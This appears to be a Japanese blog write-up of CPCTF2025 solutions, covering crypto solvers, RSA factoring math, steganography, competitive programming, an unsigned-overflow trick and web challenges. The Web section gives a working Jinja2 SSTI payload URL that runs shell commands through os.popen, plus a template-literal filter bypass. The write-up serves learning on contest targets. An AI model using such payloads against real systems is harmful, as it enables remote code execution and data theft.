# CPCTF2025

適当に開けた問題に取り組んだためあんまり得点の最大化が出来てない。

PPC, Crypto以外のジャンルをもっと楽しみたかった感じはある。

久しぶりにCTFして楽しかった。（もっと腰を据えて取り組みたかった・・・）

## Binary

### What's this ? (Lv.1)

添付ファイルを見るとzip圧縮されたxmlファイル群がある。docxファイルはxmlファイルをzip圧縮したものであり、中身を見るにそいつらだと分かる。[参考](https://qiita.com/kaityo256/items/c15889dbb7acb2632c6e)

適当にgrepするとフラグが見つかる

flag: `CPCTF{d0cx_1s_a_z1P_4Rch1v3_0f_XmL_fiLeS}`

## Crypto

### Heroic Code (Lv.1)

Caesar cipher なので適当に[このサイト](https://cryptii.com/pipes/caesar-cipher)とかを使って復号。16個分ずらすと以下の文章になる

Hello and thank you for joining the CPCTF! The flag is CPCTF{alea_jacta_est}.

### Add and multiple (Lv.2)

前からascii codeに変換して、(1000 + i) を掛ける を繰り返して暗号化している

平文の文字列長をbrute forceして復号した

<details>
<summary>solver.py</summary>

for n in range(1, 1000):
    cip = int(open("cipher.txt", "r").read())
    m = 1
    for i in range(n):
        m *= (1000 + i)
    try:
        s = ""
        for i in range(n):
            r = cip // m
            s += chr(r)
            cip -= r * m
            m //= (1000 + i)
        if "CPCTF" in s:
            print(s)
    except:
        pass

</details>

flag: `CPCTF{C14ssic4l_Ciph3r_15_fun}`

### Anomaly (Lv.3)

視力検査に負けてq=0x10001になってるのに気づかずfactordbに投げて解いてしまった...

flag: `CPCTF{You_h4v3_escap3d!_8fa245b1007bc564}`

### RSA Trial 2025 (Lv.4)

from Crypto.Util.number import getPrime, bytes_to_long
from sympy import nextprime
from secret import flag

p = getPrime(512)
q = getPrime(512)
r = nextprime(p + q)

n = p * q * r
hint = p**3 + q**3 + r**3
e = 0x10001
c = pow(bytes_to_long(flag.encode()), e, n)

with open("output.py", "w") as f:
    f.write(f"e = {e}\n")
    f.write(f"n = {n}\n")
    f.write(f"c = {c}\n")
    f.write(f"hint = {hint}\n")

RSA。公開鍵を構成するのは3つの素数$p,q,r$であり、$r$は$nextprime(p+q)$という特殊な作られ方をしている。

また、これとは別に$p^3+q^3+r^3$が与えられている。

まず、$r-(p+q)$が非常に小さい値（1000以下ぐらい？適当に実験すると小さいことが分かる）であることに着目する。$k=r-(p+q)$とする。$k$を全探索することにすると、与えられた式は以下のようになる。

$n=pq(p+q+k)$ ... (1)

$hint=p^3+q^3+(p+q+k)^3$ ... (2)

ここで、$X=p+q,Y=pq$とおくと、(1)より

$n=Y(X+k)$ より $Y=\frac{n}{X+k}$ ... (3)

よって、(2)を式変形すると

$(p+q)^3 - 3pq(p+q) + (p+q+k)^3 = hint$

$X^3 - 3YX + (X+k)^3 = hint$

(3)より

$X^3 - \frac{3nX}{X+k} + (X+k)^3 = hint$

$X^3(X+k) - 3nX + (X+k)^4 - hint(X+k)=0$ ... (4)

(4)は$X$の4次式であり、これの正整数解が求めたいXの候補になる。4次方程式はsympyに解かせて、$X$を求めたあとは$Y$が求まり、$X,Y$から解と係数で$p,q$が求まるのでflagが得られる。

from Crypto.Util.number import isPrime, long_to_bytes
import sympy as sp
from chal.output import e, n, c, hint
import sys

def f(k, X):
    try:
        assert n % (X + k) == 0
        Y = n // (X + k)

        x = sp.symbols('x')
        sols = sp.solve(x**2 + (-X)*x + Y, x)
        p, q = map(int, sols)
        r = p + q + k
        assert isPrime(p) and isPrime(q) and isPrime(r)
        phi = (p-1) * (q-1) * (r-1)
        d = pow(e, -1, phi)
        flag = long_to_bytes(pow(c, d, n))
        if b'CPCTF{' in flag:
            print(flag)
            exit()
    except:
        pass

for k in range(2000):
    print(k, file=sys.stderr)
    X = sp.symbols('X', integer=True)
    expr = X**3 * (X + k) - 3 * n * X + (X + k)**4 - hint * (X + k)
    sols = sp.solve(expr, X)

    for s in sols:
        if sp.im(s) != 0:
            continue
        r = sp.re(s)
        if r == int(r):
            f(k, r)

## Forensics

### dark (Lv.1)

6000×4000 の真っ暗な画像が与えられる。
うさねこハリケーンに付属している青空白猫アプリでステガノグラフィー解析する。LSBを強調してみると以下のように・・・(画像が大きいので縮小してから見ましょう)


flag: `CPCTF{dark_1mage_may_have_1nformat10n}`

CTF久しぶりすぎてうさみみハリケーンの存在を思い出すのにめっちゃ時間かかった・・・

## Misc

### Sanity Check (Lv.1)

今年は discord があるんですね（これまでなかったような）

`CPCTF{Hello_CTF_And_PPC!}`

## OSINT

### meshitero (Lv.1)

Google画像検索する。[ラーメン屋の公式HP](https://hirataishu.jp/)に行くとご丁寧にルビがふってあった


`CPCTF{bakumoriaburaaburamen}`

## PPC

### 45^2 (Lv.1)

特になし。[提出](https://yukicoder.me/submissions/1076578)

### Luke or Bishop (Lv.1)

丁寧に場合分け。[提出](https://yukicoder.me/submissions/1076589)

### Like CPCTF? (Lv.2)

5重ループを回せばok。[提出](https://yukicoder.me/submissions/1076779)

### Swap members (Lv.2)

mod K で分類して集合の一致をみる。[提出](https://yukicoder.me/submissions/1077126)

### 0 -> 1 (Lv.3)

連続する3文字が全て 110,011,101,111 のいずれかになっていないといけない。DPする。[提出](https://yukicoder.me/submissions/1077149)

### Decrement or Mod Game (Lv.3)

A,Bに差があるとき大体大きい値を持ってる方が勝てることに気づくと解けた。A=1にやられた
[提出](https://yukicoder.me/submissions/1077169)

### The farthest point (Lv.3)

全方位やるだけ [提出](https://yukicoder.me/submissions/1077185)

### Toll Optimization (Lv.3)

ダイクストラやるだけ [提出](https://yukicoder.me/submissions/1077185)

### More and more teleporter (Lv.4)

位置 $i$ にコスト $c_i$ のテレポーターが置かれているとき、これを経由してマス $x$ に行くときのコストは $c_i + |x-i|$ になる。$c_i + i, c_i - i$ をセグ木で管理すればok

[提出](https://yukicoder.me/submissions/1077531)

## Pwn

### 2025 (Lv.2)

2025で割り切れない数を2つ入力して、その積が2025になればflagを得られる。

C言語では、unsigned int はオーバーフローしない（2^32で割った余りとなる）性質を利用(ref: https://www.gnu.org/software/c-intro-and-ref/manual/html_node/Unsigned-Overflow.html)して、-1 (mod 2^32) と -2025 (mod 2^32) つまり 4294967295(=2^32-1) と 4294965271=(2^32-2025)を投げればよい。

`CPCTF{Uns1gn3d_1nt_c4n_n0t_St0r3_inf1nity}`

## Shell

### netcat (Lv.1)

久しぶりにncして懐かしい気持ちに

`CPCTF{n3tc4t_1s_4m4z1ng}`

### Count CPCTF (Lv.2)

連続部分文字列をカウントするのかどうか書いてないけど、例で察しろということか...

grepしました

$ grep -o 'CPCTF' count-CPCTF.txt | wc -l
128196

flag: `CPCTF{128196}`

## Web

### Name Omikuji (Lv.2)

SSTIってやつをやればよいです。`https://name-omikuji.web.cpctf.space/?name=%7B%7Brequest.application.__globals__.__builtins__.__import__%28%27os%27%29.popen%28%27cat+flag.txt%27%29.read%28%29%7D%7D`

### String Calculator (Lv.3)

問題を見るに `/api/calc` をhackして頑張る系だと予測。`getFlag()`を実行できれば勝ちだが`()`が封じられている。<code>getFlag``</code>で回避できるので、テンプレート文字列に適当に埋め込んで出力。